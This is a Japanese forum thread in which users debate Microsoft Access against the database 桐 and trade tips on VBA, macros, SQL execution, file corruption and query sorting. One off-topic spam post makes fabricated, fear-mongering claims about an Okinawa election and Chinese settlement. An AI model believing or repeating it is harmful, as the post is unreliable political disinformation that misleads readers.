項目に直接式が入るところなどエクセルと良く似ていてわかりやすい。
むしろ、エクセルから移行するなら桐のほうがずっとわかりやすい。

ただ、柔軟すぎるのと入力がちょっと独特なので人には使わせられない。
小規模のアプリケーションを作るならアクセスのほうがいいと思う。
VBAもSQLも身につくからプログラム入門としてはいい。

いや、桐の入力は最強だよ
アクセスだと入力遅いし間違える

あ、カード形式フォームじゃなくて、
表形式フォームとかテーブル・表のまま前後のレコード見える状態で、
スーパーのレジのオバサンみたいにびゅんびゅん入力する場合ね
アクセスだと数レコード前の誤入力に気付いて訂正しようとすると、
何処訂正したか解らなくなったり、関係ない場所変更しちゃったり、訳わかんなくなって入力データ全部信頼できなくなる
だから、びゅんびゅん入力できない
桐だと、そんな心配せずに、びゅんびゅん入力できる

前後のレコード見えないカード形式じゃ入力遅いし間違い入力の訂正も遅いよね

>>195
ああ、それはそうだ。
似たようなデータが続くときは簡単に複写できるし、
表形式のときの入力のしやすさは抜群だ。
でも、桐でアプリケーション作る気にはなれない。

Ａｃｃｅｓｓでアプリ作ると使うＰＣのディスプレイサイズによってフォーム作り変えなきゃならんよ
桐なら倍率指定してフォームの拡大縮小ができるよ

>>195 入力エラーがあった場合、その処置が大問題になるな

一気入力画面でも作ればいいべ

Access2007にある「添付ファイル型」フィールドを
SQLServerで扱いたいのですが、自動アップサイズさせると
メモ型になって動作しなくなります。
解決策をご存知の方いらっしゃいませんか？

SQLServerにないフィールドタイプなので無理でしょうか。

>>199
汝命知らずのチャレンジャーよ、SQLServerのバージョンをついでに教えてくだされ。

Microsoftの事だから、2005SP2からは動作するようになってるかもしれんわけで。
(2005からはフィールドにユーザ定義型突っ込めるようになったからね、SQL鯖)

>>199
添付ファイル魅力有るし、試験的にやってみるがデータが馬鹿でかくなる。安定性の情報希望。

>>197
解像度な。

せっかく解像度あげても、出てくるフォームが拡大されるだけってのも悲しいなあ？
解像度上げたなら、情報量も増えないと意味がない。結局フォームは作り直しってことになる？

ディスプレイごとにフォーム作り直しなら良いだろ。
それがメイドイから拡大されると便利だって話。

>>204
今なら１０２４×７６８で考えておけばほとんど問題はない。
通常ならそれ以上の解像度を要求するようなアプリケーション作るほうがどうかしている。

うちの従業員、６００ｘ８００とか横長とか色んなノートパソコンで仕事してます。

>>206
今時、８００×６００に合わせてアプリケーション作れってか？
Dellで一番安いノートパソコンに買いかえたほうが早い。

桐でフォーム拡大縮小の方が安いだろ、無料で一瞬だ。

>>208
別に桐のフォーム拡大縮小機能を必要ないとは言わないけど、
アプリケーション作る側にしてみると１０２４×７６８は欲しいな？

1024*768で設計したフォームが無理矢理800*600に縮小されても
フォントが変に潰れて見づらいだけだろうに・・・

なんか妙に話がずれているような？・・・・

昔は８００×６００のノートパソコンも珍しくなかったけど、最近はモバイル用くらいしか見ない。
今やごく少数派になった解像度に合わせて使いづらいアプリケーションつくるのはごめんだな。

便利だよ、普通にアプリ作って、小さいノートPC仕様者が居てもフォーム縮小するだけ
別にフォント潰れない、一辺が半分にもならないでしょ

わかったからいつまでもAccessスレで桐の話するな。

今度大きい液晶買ったぜなんと24インチだぜ。



文字が拡大するだけ

>>214
老眼にはうれしいな（ｗ

>>200
SQLServer7の時代のMSDEと2005SP2のExpressでやったのですが
どちらもAccessのウィザードではダメでした。
手動でユーザ定義型を予め定義しておいてリンクすれば動作するなら
その情報を教えていただけないでしょうか。

>>201
　Access単体テストでは１、２レコード入れて動作を確認しただけで
安定性は全然わかりません。
　操作性は期待通りです。

>>216
この「添付ファイル」型、裏で別の収納用テーブル作ってるっぽいね。
MSysObjectsに何時の間にかテーブルらしきTypeの行が増えてて、
MSysComplexColumnsにそれを指す行が一行増える、と。
フィールドとしてデータを中に抱え込んでない。

この収納用テーブルのようなものをゴニョってSQL鯖に
飛ばせばいいのかもしれないけど、MSysObjectsに書かれてる名前には
SELECT * も通らないし、ゴニョる手が無い。

さてどうしてくれよう。

裏で別テーブル操作してるんですか。
やっぱりSQLServerでは難しいんでしょうかね。

Excelのファイルをインポートしようとすると
「DLL読み込み時のエラーです」
と出てインポートできません。
インストールしたばかりなのですが、一体どうなっているのでしょう？

そーなっているんだよ。

>>219
だーかーらーーー
「DLL読み込み時のエラーです」なんだよw

エラーになっているのでしょう

それはえらーいこっちゃ

>>219
じゃがりこ旨いよな

ゴ　ゴ　ゴ　ゴ　ゴ　ゴ　ゴ　ゴ　　　
　　　／＼　 /｜　
　　／ /| ＼/ ｜(＼ /)
　／　/ | 　＼｜( ﾟーﾟ) <全力でWindowsを捨てOpenBSDに移行せよ
／　 /　| 　 __〃｀ヽ 〈＿　　　OpenBSD
　　/ γ´⌒´-−ヾｖーヽ⌒ヽ　　　　OpenOffice.org+Wine
　 /／⌒　 ｨ theo｀ｉ´ pf　）; ｀ヽ　　FireFox+Xfce+uim+anthy
　//　　 　ﾉ＾ ､＿__￥＿_人　　|　　　　　　ClamAV+Snort+Privoxy+Tor
/ !　　,,,ノ爻＼_　_人　ﾉｒ;＾ >　 ）　　　　　　PostgresQL+MySQL+Openldap
/ （　　 <_ ＼ﾍ､,, __,+､__ｒﾉ/　　/
　　ヽ_　　＼ ）ゝ､__,+､_ｱ〃 ／
　　　 ヽ､___ ヽ.=┬─┬〈　 ｿ、
　　　　 　〈J　.〉､|　　 |,　|ヽ-´
　　　　　　/"" 　| sshd　|:　|
　　　　　　ﾚ　　 :|:　　 |　ﾘ
　　　　 　/　　 ﾉ|＿＿|　|
↑　 　　／|　,,　 ｿ　 ヽ　　）
　＼＿／ .,ゝ 　 ）　　ｲ ヽ ﾉ
　　　　　ｙ　｀ﾚｌ　　 〈´　 ﾘ
　　　　 /　　 ﾉ　　　|　　 | .
　　　　 ｌ　　/　　　　ｌ;;　 |
　　　　 〉　〈 　　　　 〉　 |
　　　 /　　::|　　　　（_ヽ　＼､
　　　(｡ｍｎﾉ　　　　　 ｀ヽｎｍ

BASEにAccess代替はまだ荷が重い
ああ、Accessを手放す日はいつくるのか……

データベースは自分だけでなく、後の担当者が使えないといけない。参考書が充実したソフトでないと使いずらい。

BASEはそれ以前の問題かもしれん。

アクセスで在庫管理を作りたいのですが、在庫数１０個の場合、１個使って入力すると在庫数が９になるようにしたのですが、この在庫数を履歴として残したい場合どうすればいいのでしょうか？

1/1は１０個 1/2に１個使って９個としたいのですが1/1の在庫数の履歴も９個になってしまいます・・・

説明下手ですいませんがご教授願います

アクセスで在庫管理を作っているのですが、１０個の在庫があるとして 1/1に１個使い９個1/2に１個使い８個にはなるのですが1/1の履歴も８個になってしまいます。 日毎の履歴はそのままにしたい場合はどうすればいいのでしょうか？

すいません 書き込み失敗したかと思って重複しちゃいました・・・

>>229
別途、履歴のログテーブルでも作れ。

店舗数約30店、商品数500前後の規模の在庫管理を考えてます。
ＥＸＣＥＬ+ＡＣＣＥＳＳ2003
規模的に可能でしょうか？教えて下さい。

よゆうっち

>>233
当然、システムは１カ所で起動するだけで、
各店舗からのデータ共有は無しだよな？

・・・もし共有するつもりなら
MSDEでもいいから、
ちゃんとしたRDBMSを使え。

アクセスのファイルなんですが、パスワードなんかかけた覚えも無い
のに、ある日開こうとしたらいきなりパスワードを要求されて困って
います。
自動的にパスワードを設定されてしまった、なんてケースはあるので
しょうか？

Winxp SP2,OfficeXP です。

>>236
壊れたのかもしれないので、すぐに別に空のｍｄｂファイルをつくってそこにインポートすべし。
それができないほどに壊れたのであればあきらめるしかないかもしれない。

>>237
有難うございます。オリジナルは必ず編集せずにとっとくようにしてるので
即オリジナルで復旧しました。が、理由がわからないので、いつ再発するか
わからないし気持ち悪いです。
ファイルが壊れてパスワード要求なんて事があるんですね。他のオフィス製
品(ワード、エクセル)では経験ありませんが。

>>238
ACCESSを信用するな。

>>236
お前の回りの人間で犯行推定時刻にアリバイのない人間はいるか？

>>240
自分のPCは誰も使用してませんし、ネットにもつないでいません。
さすがにその線は薄いかと。

ヒント：短期記憶の障害

>>238
パスワードうんぬんは今までないけど、アクセスは妙な壊れ方するときがある。
終了時の最適化とバックアップは必須です。

＞妙な壊れ方

ああ、やっぱりそうなんですね。最適化って効果を実感します？

しかし壊れて開けないのならともかくパスワードにはびっくりしたな。
前も一回そういうことがあったけど原因はわからずじまい。

>>244
最適化はやらないよりはやった方がいい。

やらないほうが良いはず無いだろ

ヒント：使わないで済むなら、そのほうがよい。

ヒント：使わない方が良い機能が何故に有る

ヒントその2：使わない方が良いのはAccessそのもの

じゃ、桐にしとけ

「桐にしとけ」って多いけど、桐の方は共有しても壊れにくいの？

>>251
共有してどうのこうという前にAccessよりはかなり壊れにくいし、
壊れてもかなり強力に修復してくれるツールがある。
Accessで最適化しても壊れにくくなるのがせいぜいで修復はしてくれない。
だからといって、桐が全部良いってわけでもないからなあ？
直接データをいじって集計したり計算したりするなら桐を使うほうがはるかに楽だけど、
アプリケーション作るならまた話は別。

>>252
そうですか。
早速のレスどうも。

>>251
桐のファイルは滅多に壊れないよ
でも、共有に向いてないのはAccessと同様

Accessならデータを別のデーターベースにすることによって共有に向かないという問題点を解決可能。
桐は同様に外部データベースに接続することが出来るが、処理は桐のデータに変換してから行うらしく、
非常に遅くなるため、解決にならない。良い悪いではなく、設計思想が違う。

>>255
１行目
桐もAccessも同じだよ。
ファイル共有型の欠点、少数の共有しか実用にならない。

２行目
外部データ接続も、桐もAccessもODBCで行える。
確かに桐はクエリ投げずに全部読んでから処理する感じだね。

Accessで最適化かけたらデータ半分以上消えた
こーゆー壊れ方もある
やっぱ最凶

>>256
> 外部データ接続も、桐もAccessもODBCで行える。
> 確かに桐はクエリ投げずに全部読んでから処理する感じだね。

桐にはクエリーという考え方が無いからそうせざる得ないと思う。

>>257
そりゃあ、最適化かけたから壊れたんじゃなくて、
壊れているＭＤＢに最適化をかけたというのが正しいと思うけど。
まあ、壊れたことには違いないか？

そういえば桐とかはどうやってDBに接続するんだ?
OLDBドライバみたいなのがついてくるの？

他社が出してるドライバ･Windowsに付いてくるのとか、を使って他社ＤＢに接続する
桐には付属しないから、他社から桐への接続は出来ない

それにしてもAccessの不安定さってなんとかならんもんかなあ？
Access2000でさえ、いまだに時々突然落ちる。

>>230
ちょっと遅レス。

在庫数 = 棚卸しした時点での数量+棚卸し後のの合計（入庫した数量-出庫した数量）

棚卸・入庫・出庫のレコードをテーブルに置いて
在庫は適時クエリを打って算出するようにすると
ややこしくなくなるよ。

>>262
最新版を使ってください。

>>264
最新にしてもやっぱりなるよ。

してないくせに言うな。

>>266
確かめもせずに・・・・・・○○と言おうか？・・・・まあいいか・・・・・・
複雑な処理をしているフォームを起動するとなぜかそんなことに・・・・・
まあ、立ち上げなおすと何事も無かったように動くけど、なんだが不安。

>>267
複雑な処理をしているフォーム＝どこかにバグが潜んでいる可能性が
ある(もちろんAccess自身のバグのことではなくて)ってのも疑うべき。
Access2000でさえ複雑な処理でも、そう簡単には落ちなかった。

それって逆に考えると「複雑な処理」をしていないフォームは安定してるってことでは？

もしかしてレコードセットが更新されてもいないうちから全レコードの合計計算したいとか、
ディスプレイの解像度に合わせてフォームを自動で拡大縮小したいとか、
この手のリクエストに無理やりゴリゴリ書きで対応して悦に入るタイプ？

>>269
そんなことはしとらんがな。
ただ、使いやすいように工夫していけば自然にコードは増える。
まあ、簡単なフォームは落ちたってことはないが、
落ちないようにフォームを簡単にするって気にはならない。
直接フォームにコードをあまり書かないで、モジュールのほうに書くほうがいいのかなあ？
そういや、フォームがどの程度の大きさになっているのか調べる方法は無いのか？
空のデータベースにインポートすればだいたいわかるだろうけど、いちいち面倒。

> それって逆に考えると「複雑な処理」をしていないフォームは安定してるってことでは？

複雑な処理をしても安定してなきゃ、使いものにならんだろｗ

いろんなイベントが発生しまくる複雑な画面は勘弁してください＞＜

使いやすいような工夫とやらが具体的に何をしてるのかは知らないけど、
GotFocusやLostFocus、あとEnterとかCurrentなどの移動系のイベントが大好きで
考えなしに非同期のDoCmd.〜やSendKeysを多用するスタイルで文句言ってるなら
Accessがどうのこうの以前の問題だろうな。

普通のフォームが安定してて、自身がコード書きまくりのフォームが不安定だというなら
まず最初に疑うべき点はどこよw

>>273
> GotFocusやLostFocus、あとEnterとかCurrentなどの移動系のイベントが大好きで

まあイベントにコードを書くのは好きではあるけどねえ。GotFocus、LostFocus、Enter、Currentはあまり使わない。
だいたいはBeforeInsert,Form_Open.AfterUpdateかな？やっぱりイベントにコードはあまり書かないほうがやっぱりいいかな？

> 考えなしに非同期のDoCmd.〜やSendKeysを多用するスタイルで文句言ってるなら

うーーん、SendKeysは絶対使わないけど、DoCmdは使うな。
ほとんど、SQL文を実行させるだけなんだけど、やっぱり問題あるのか？

> 普通のフォームが安定してて、自身がコード書きまくりのフォームが不安定だというなら
> まず最初に疑うべき点はどこよw

不安定って言ってもたまに落ちるって程度なんだけど、
Access2000くらい実績あればもうちと安定してもいいのではないかと・・・・

自分の過ちを認めるのはやぶさかではないのだけど、AccessにはVer1から悩まされたから、
どうしても信用しきれないってのはあるなあ？桐なんかだとかなり無茶しても落ちたりはしないけどなあ？
だから桐がいいなんて言うつもりはないけど、複雑なシステムはAccessでは無理かなと思ったりする。

>>274
イベントにコードを書くのはOKで、それが原因でAccessのバグがってのは
かなり少なくなっている。当然のことだが、フォーム内に記述するプロシー
ジャはPrivateな。
ダメとは言わないが、SQLの実行はExecuteメソッドに移行しましょう。Access
がバージョンアップしてるんだから、書くコードもバージョンアップさせた方
が何かと便利になる時もあるし。

> AccessにはVer1から悩まされ
オレも同じだけど、まずは自分を疑うことから始めないと。デバッグログみ
たいなのを採取できるようにして、まずはどのロジックで落ちるのかを確定
させるべき。ついでに変数の情報も出力しておくと便利だよね。

>>275
> イベントにコードを書くのはOKで、それが原因でAccessのバグがってのは
> かなり少なくなっている。当然のことだが、フォーム内に記述するプロシー
> ジャはPrivateな。

うん、当然というかPrivateにしないやついるのかなあ？

> ダメとは言わないが、SQLの実行はExecuteメソッドに移行しましょう。Access
> がバージョンアップしてるんだから、書くコードもバージョンアップさせた方
> が何かと便利になる時もあるし。

ああ、そう言えばなんか惰性でやっていたな。気をつけよう。
http://www.accessclub.jp/bbs6/0007/das1729.html
よるとExecuteのほうが同期をとるので、おかしな結果にならないみたいですね？
もっとも、それでおかしなことになるようにはプログラムは組んでいないつもりだけど。
Executeのほうが遅いという話もあるみたいだけど、まあやってみよう。

> デバッグログみ
> たいなのを採取できるようにして、まずはどのロジックで落ちるのかを確定
> させるべき。

ログファイルを作ってどこのモジュールをいつ実行したかは記録するようにはしているから、
どこでモジュールで落ちるかはわかるけど？そのモジュールのどこで落ちたのかはわからない。

＞ついでに変数の情報も出力しておくと便利だよね。

よければ、どんなふうにやっているのか教えてくれればありがたいです。

初心者質問です。
ファイルのインポートなのですが、以下のような流れをマクロで指定することは可能でしょうか？

・インポートのボタンを押す→対象のフォルダが開く→その中からインポートしたいファイルを選ぶ→インポート

マクロのワークシート変換だと、完全なパス名を指定しないといけないので行き詰りました。
VBA使わずに、どうにかできないでしょうか？

>>277
またお前かw

その質問、自分ではみんなが忘れた頃を見計らってるつもりかもしれないけど
もういい加減みんな覚えちゃってるからw

>>276
初心者でたまにいるよ。フォーム内のモジュールでPublicにして、なんか
おかしいんですけどって、オマエなぁ・・・と落胆する。

モジュールがわかってるなら、プロシージャを確定させる。これがその時々
で変わるなら面倒なんだけど、とにかく力業ですな。変数情報出力にして
もファイルに出力するだけであって、特別技を使ってるわけではないです。
落ちないならDebug.Printで充分だけど、落ちるんだからファイル出力しか
ないよね。オープンして出力してクローズして、の繰り返し。

>>276
＞Executeのほうが遅いという話もあるみたい

遅いというか、Executeメソッドはその実行前にデータベースオブジェクトの生成が必須だから
その分のオーバーヘッドは当然あるよ、体感できるかどうかは微妙なところだけど。

データベースオブジェクト生成のステートメントを省略してCurrentDB.Executeにする手もあるけど、
（これはこれで楽なんだが）これはAccessが一時データベースオブジェクト生成→破棄を自動で
してくれてるだけで速度的には変化ない。

1000回とか10000回とかそれ以上の大量ループ処理の中でCurrentDB.Executeを使用すると
そのループ回数分だけ一時データベースオブジェクト生成→破棄が繰り返されることになるから
この時には体感できるだけの遅さを確認できるかも。もしかしたらこれのせいでExecuteメソッドは
遅い、という誤解が生まれてるのかもしれない。

いずれにせよその時点のメモリの空き状況やマシンの負荷具合によって実行結果が変わってくる
可能性のあるDoCmd.RunSQLは徹底排除が基本。
これだとSQL実行中にも人間はフォームに対してあれこれデータを入力できることになるから・・・

>>279
> 初心者でたまにいるよ。フォーム内のモジュールでPublicにして、なんか
> おかしいんですけどって、オマエなぁ・・・と落胆する。

黙っていれば自然にPrivateなのにわざわざPublicにして悩んでいるのか？愉快なやつだ。

> とにかく力業ですな。変数情報出力にして
> もファイルに出力するだけであって、特別技を使ってるわけではないです。
> 落ちないならDebug.Printで充分だけど、落ちるんだからファイル出力しか
> ないよね。オープンして出力してクローズして、の繰り返し。

うーーん、確かに力技だ。それは逆に思いつかなかった。

>>280

> いずれにせよその時点のメモリの空き状況やマシンの負荷具合によって実行結果が変わってくる
> 可能性のあるDoCmd.RunSQLは徹底排除が基本。
> これだとSQL実行中にも人間はフォームに対してあれこれデータを入力できることになるから・・・

そっか？なるほど。それはやる価値がありそうだ。ありがとう。

>>278
初めて書き込んだのですが…。
最近アクセス始めたばかりなんで。

>>277
VBA使う気無いなら、Accessには早めに見切りつけたほうがいいよ。
どっちにしたって行き詰まるのは目に見えているから・・・・

>>283
またお前かw

>>281
いや、イベントプロシージャではなくて、独自にそのフォーム内で
使うプロシージャを生成した時の話よ。

力業だが、解明するためには悩むより実行が先ってことで。

ありがとうございました。
諦めます。

>>284
10年、VBA無しでやってきたが、2007になってVBA使い始めました。

２００７はマクロが進化してＶＢＡ不要になった
どうしてもＶＢＡが必要なことはヤラナイが正解
無理に行うと後々後悔する

>>289
かなり独創的な考え方だと思うけどなあ？
大半のAccessユーザーはマクロなど使わずにVBA使うと思うけど。
つうかいくら進化したってマクロだけでAccess使うなんてとても考えられない。

マクロだけで使いたいという人には桐を薦めるよ。
自動記録できるし、日本語で記述できる。こっちのほうがずっとマクロらしい。
Accessのマクロ理解するなら、桐の一括処理理解するほうがよっぽどいいと思うけどなあ？

俺もマクロは嫌いだ。
といってもマクロがVBAよりも下とかも言う気はない。
困るのがDoCmd.RunMacro。これ最悪。
VBAだったらエディターひとつで確認できる処理を
いちいちマクロのデザインを開いて確認するのが面倒すぎる。
さらにマクロが複数の処理をしていたら、もう追いかける気にもならないよ。

マクロはVBAと違って変数の検索や一括置換ができないのが癌だと思ってたけど
2007では進化してんの？

Access は、2007 からパーソナル向け商品になりますた。
ワークグループによる権限設定も出来なくなりますた。
そのかわり、マクロが進化して変数やデバッグが出来るようになりますた。

VBA による開発には向いていません。
直ぐに落ちます。
Access は年賀状印刷に使ってください。

>>292
> 困るのがDoCmd.RunMacro
他人の書いたプログラムを追いかけているのか？
マクロをVBAに変換してから追いかけたらどうなんだ？
そのほうがずっと理解しやすいと思うけど？

>>293
> 変数の検索や一括置換
コードの記述のことを言っているのか？
それとも、配列変数を使ってデータを格納して検索したり、修正したりしている？
Accessでそんなことする必要があるとは思えないけど？

>>294
そうか？それが本当ならいよいよAccessとおさらばする日が近づいたということだな。
ありがとうAccess。君のことは忘れないよ。ングッググ・・・・・・

>>294
> Access は、2007 からパーソナル向け商品になりますた。

それでよりプロ向けのFoxProを日本語化してくれるなら、
そのほうがいいのだけどなあ？

マクロだけにすれば落ちないだろうけど
だったら桐にしとけ

>>295

前任者が作成したもののメンテがあるもので。

>マクロをVBAに変換してから

そういえば、そんな機能があったね。
すっかり忘れていたorz

>>298
ンダ！AccessからVBA無くしたら、桐よりはるかに落ちると思う。

>>299
> 前任者が作成したもののメンテがあるもので。

それにしてもマクロとVBAを使い分けて使うなんて俺にはできないなあ？
つうかマクロあんまり理解できない。俺にはVBAより難しいんだよなあ？
VBAに変換して始めて「ああ、なるほどこういうことか？」って納得できる。

>>301
そこまで考えて納得ｊしなくても良いようにAccessが用意しているのがマクロ
VAはAccessの都合を考慮せずに操作する

>>295
変数だけじゃなくてVBAの記述全般で検索や一括置換ができなきゃ終わってるよ。
システムは完成したら完成じゃなくて、むしろそこからが長い格闘の始まりなんだから・・・

このテーブルのこのフィールドはどこで使ってるかとか、このユーザー定義関数は
どことどことどこで呼ばれてるかとか、そんなことを調べる必要なんていくらでも出てくる。

それに新しいDBを設計する時、自分が過去に作成した成果物を一部だけ名前を変えて
使いまわすなんてケースも結構あるし。
昔作った仕入先マスターの登録フォームを丸ごと得意先マスターの登録フォームとして
コピペして、VBAの編集画面で「仕入先」を「得意先」に一括変換してから細部をチョコチョコ
変えて作りこむだけでも、元フォームの設計が似通っていればかなり工数の削減になる。

このスレには似たような経験がある人も結構多いと思うんだが・・・

>>302
マクロだからこそできるものもある。特殊だけど、AutoExecマクロとか。
他にもあるけど・・・使い込んで細部の動きに気を配るようになるとわか
るよ。

他にもあるって、AutoExec以外だとAutoKeysくらいしかないだろ・・・
そのAutoKeysにしたって標準のキーアサインを捻じ曲げて別の動作に
変更しかねない諸刃の剣。

他にもっと使える実例があるなら、後学のために教えてくれ。

>>301,304

俺も「マクロって便利だなぁ」って素直に感心していたと思うよ。
前任者が作ったmdbがまともに動いていればね。
問題は動作を追っかけなければならないほどの、
深刻なバグがあるわけ。
前任者は幅広い知識はあったのだが、残念ながら
深さが足りなかった。
マクロとは関係ないけど、連結フォームの参照テーブルに
コマンドボタンでAddNewかましているときは
本当にびっくらこいた。

>>304
> >>302
> マクロだからこそできるものもある。特殊だけど、AutoExecマクロとか。

別にAutoExecマクロは無くてもいいと思うけど？
ツール　=>　起動時の設定　=> フォーム/ページ設定　で最初に開くフォームを指定すれば良い。

>>303
> 変数だけじゃなくてVBAの記述全般で検索や一括置換ができなきゃ終わってるよ。
本当はフォームのフィールドなども検索できれば嬉しいのだけどねえ。
そういえばフォームやレポートの設定をテキストファイルに出力するってできないのかな？

>>306
後任者の問題が有るからBaseなどに変えられないんだが。

>>305
>>307
思慮が浅い。まぁ、Access使いってその程度だな。

>>304
Auto〜に限った話ではないんですけど、ちょっと複雑な話になるので
悪いけどパス。ごめんなさい。

>>307
最初に開くフォームを設定する場合は、確かにそれですね。
それ以外に、ユーザーやシステム・環境等が変わっても楽に対応でき
るようにiniファイルを使ってるので、その情報読み込みにAutoExecマ
クロからプロシージャコールを利用してます。
また、データを別MDBにしてるのでリンク先の自動更新もAutoExecマ
クロからプロシージャ。Accessのオプション設定なんかも。
特に最初に開くフォームでいきなりリンク先のテーブルをソースに使っ
たりしてる場合に便利。
テンプレ化みたいな感じなので、モジュールコピペもなしに使い回しが
できるので・・・という利用法です。

>>310
お前Access使ってるからこのスレ来てるんじゃねえの？w

>>312
自虐的ユーモアじゃないの？

>>311
> それ以外に、ユーザーやシステム・環境等が変わっても楽に対応でき
> るようにiniファイルを使ってるので、その情報読み込みにAutoExecマ
> クロからプロシージャコールを利用してます。

起動用フォームを作って、それのForm_Open に書いてはだめ？

Form_Open　の処理が終わったら、クローズさせて、
Form_Close で次に開くフォームをオープンさせているのだけど、邪道かな？

>>314
俺はアホな後輩が使えるかどうかが判断基準。その程度ならVBAの参考書で十分理解出来よう。
後輩に期日までに出来ないとクビだと言って自殺されると、命じた方がクビになるそうだが、参考書に書いているレベルなら問題無かろう。

>>315
> 後輩に期日までに出来ないとクビだと言って自殺されると、命じた方がクビになるそうだが

そんなことで自殺するヤツがいるのか？俺なんか何回死んでいるかなあ？
きっと地獄の底に沈んでいるなあ。

>>316
【社会】 「宿題を出さないと即留年」 女子学生を自殺に追い込んだとして、高崎経済大准教授を懲戒免職★７
http://news22.2ch.net/test/read.cgi/newsplus/1176250647/l50

こんな感じじゃね？ｗｗｗ

どうにも論点のすり替えが激しいな・・・。

AutoExecに代表される予約語マクロが使えるかどうかって問題と、システム全体の
プログラミングに通常マクロを使うのがいいか悪いかってのはまるで別の問題だろ。

マクロは百害あって一利なし、なんて言うつもりはないけど（俺もAutoExecは使ってるしなw）
一利あるけど百害もある、って結論でFA？

>>318
まあ、別にそれでもいいけど、いっそのことマクロなんか無くしてしまったほうがすっきりしないか？
ExcelやWordのマクロはVBAなんだから、それでもいいと思うのだけどなあ？
なんだか、蛇足って感じがいつもする。

>>314
それでグーだと思います。
うちの場合(って、もう辞めた会社だけど)、人手不足でAccess触ったこと
ない・知ってると言いつつレベル低という技術者を扱って短期間で仕上げ
るために、いろいろ細工した結果です。
参考書読んだって理解しないだろうし、理解するまで待ってられないので。
フォームを閉じて前回のフォームに戻るってのも意識させずに、ぐらいの
考え(実際、OpenArg使ってそうしてました)で作ってました。

フォルダ構成やクエリ名が完璧に固定されていればマクロも良いかも知れない
マクロ自体がウィザードと動作ガイドを兼ねているから引継ぎが楽

最近内部監査がうるさいせいでマクロ、VBA系は嫌になってきた
エンドユーザーが作ったものなんてそうそう固定出来る物じゃないのに
ある時点で処理の流れを証明して、メンテの手法まで確立させなければならない、
おまけにその後保護をかけなければならない、なんてやってられるか。
わざわざ時間をかけて作った上、そんな面倒を押し付けられるくらいならこの先は電卓でやらせるよ。
あれってデータが何百万件あろうと「パソコンで集計」よりも「電卓で検算」の方が説得力を持つ不思議な規制だしな

起動時にコマンドラインで引数指定でマクロ選択できるから、
それだけは使ってる。結構便利。

>>322
それは始めて知った。それはいいな。使ってみよう。

なんでも記入欄（テキスト）に記入があるもの、ないものがあるんですが、
それを文字が入ってるものだけ、全部表示の２パターン抽出したいんだけど
、どうすればいいですか？
like文だと文字が入ったものしか出てきません・・・・

ハングルは理解できない

>>324

「Like "*"」が抽出条件のものと
抽出条件なしのものを作ればいいんじゃね?
フォームとかだったら、RecordSource変えればいいだけだし。

ISNULL関数、NZ関数あたりと、
NULLIF関数、COALESCE関数>標準SQLだけどACCESSにあったかな

>>324
UNION ALL

>>326
できたよ！ありがとう

ACCESSの　seek文 お手軽なんですがね。
重複クエリとか　ほかにもお手軽なのごろついてるのが　ACCESS。
これぐらいの気持ちで　付き合うのがいいのでは？

沖縄県の方へ（命に関わる注意事項です）

沖縄県での選挙ですが、どうか民主党だけは避けてください。県民の生命に関わる可能性があります。
民主党の最大の公約は一国二制度（※）ですが、一度「一国二制度　沖縄」等で検索をお願いします。
この際、民主党のＨＰで調べても良いです。以下の注釈↓と矛盾することは書いてないはずですから…

※一国二制度
　簡単に言えば沖縄を中国と日本の共有物にし、そこに3000万人の中国人を入植させます。
　（つまり沖縄人口の 96% を中国人にして、実質、沖縄を中国人の居住地とします。）
　さらに「自主」の名の下、沖縄で有事が起きても自衛隊は干渉できません。
　3000万人の中国人が、少数派となった130万人の日本人に何をしても、です。
　そして中国人の反日感情の強さは、ほとんどの日本人の理解を超えるものです。

今回の選挙で民主党が勝った場合、「自主」「発展」を連呼しつつ段階的に進めていくことになります。
自主と言っても、自主を認めるのが「住人の96%が中国人となった」後だということに気をつけてください。
発展と言っても、新沖縄の少数派となった「少数民族日本人」の発展ではないことに気をつけてください。

最近どうも俺は日本語が理解できなくなったらしい。
＞お手軽なのごろついてる
＞これぐらいの気持ちで　付き合うのがいいのでは？
何回読んでも意味がわからないのだが？だれか説明してくれ？

>>332
＞お手軽なSEもどきがごろついている
＞ACCESSなんざEXCELの亜種ぐらいの気持ちで 付き合うのがいいのでは？

Excel使いこなすにはノーベル賞取るレベルが必要だが、ACCESSは老若男女誰でも使える大衆的なソフトです。

バカ！逆だろ！　

エクセルは利便性に富み、大衆的なソフトだけど、
使えないアクセスで、あっと言わせるくらい使えるようにするのが大変なんだ！

急遽、レガシーなシステムのメンテをしなくちゃいけなくなったものです。
ご存知の方がいましたらご教授ください。

ACCESS97からACCESS2000にシステムをバージョンアップさせたのですが、
SELECTの出力に違いが出ていて原因を調べろと言われました。
ORDER BYで指定をしていない部分の並び順が、「出力ごとに変わるようになったのはなぜか？」だそうです。

正直、ORDER BYかけてないなら並び順は不定で当たり前だと思うのですが、
97では同じ並び順だったのに2000では変わるようになったのをお客さんに納得してもらうソースが欲しいということみたいです。

単純に検索だけしたってそんなの出てこねーってorz

Access2003とSQLServer2005 Standardで業務ｼｽﾃﾑを構築することになりました。
そこで、質問があります。
�@．Accessでマクロは使わず、VBAでDoCmdステートメントを使った方が良いでしょうか？
�A．両者の接続は、OLEプロバイダを使い操作はADOで行こうと思っているのですが、
　トランザクション処理を考えた場合、DoCmdでのデータ保存は禁止にした方が良いのでしょうか？

なにせ初心者なものですから、質問に矛盾がどざいましたらお許し下さい。
教えて下さい、よろしくお願いします。m(__)m

すみません補足です。
お察しでしょうが、クライアントがAccessで、サーバーがSQLServerです
ＳＰやトリガは今のところは使わない（使えない）予定です。

よろしくお願い致します。

>>336
> ORDER BYで指定をしていない部分の並び順が、「出力ごとに変わるようになったのはなぜか？」だそうです。
> 97では同じ並び順だったのに

何の並び順のこと？
五十音順？　身長順？　生年月日順？

ただ並び順って言っても意味通じないから、日本語で頼む

ExcelとAccessはまったく別のソフト。
Accessはマイクロソフトとはまったく違う会社が作って
マイクロソフトに売ったもの。
もともとExcelとは少しも似てない。
オフィスとしてまとめて売ること自体、どうかと思う。

ソートをかけたいフィールドじゃないので、「並び順」じゃなかったですね。
「出力順」とでも言うのでしょうか。

たとえば、フィールドが二つある出力レコードだとして、一つ目のフィールドのみORDER BYでソートをかけているような状態です。

【９７のとき】（何回実行しても同じ）
第１F　｜　第２F
-------------
　A　　｜　１
　A　　｜　３
　A　　｜　２
　B　　｜　１
　B　　｜　３
　B　　｜　２

【２０００のとき】（１回目）
第１F　｜　第２F
-------------
　A　　｜　３
　A　　｜　１
　A　　｜　２
　B　　｜　１
　B　　｜　２
　B　　｜　３

【２０００のとき】（２回目）
第１F　｜　第２F
-------------
　A　　｜　１
　A　　｜　２
　A　　｜　３
　B　　｜　２
　B　　｜　１
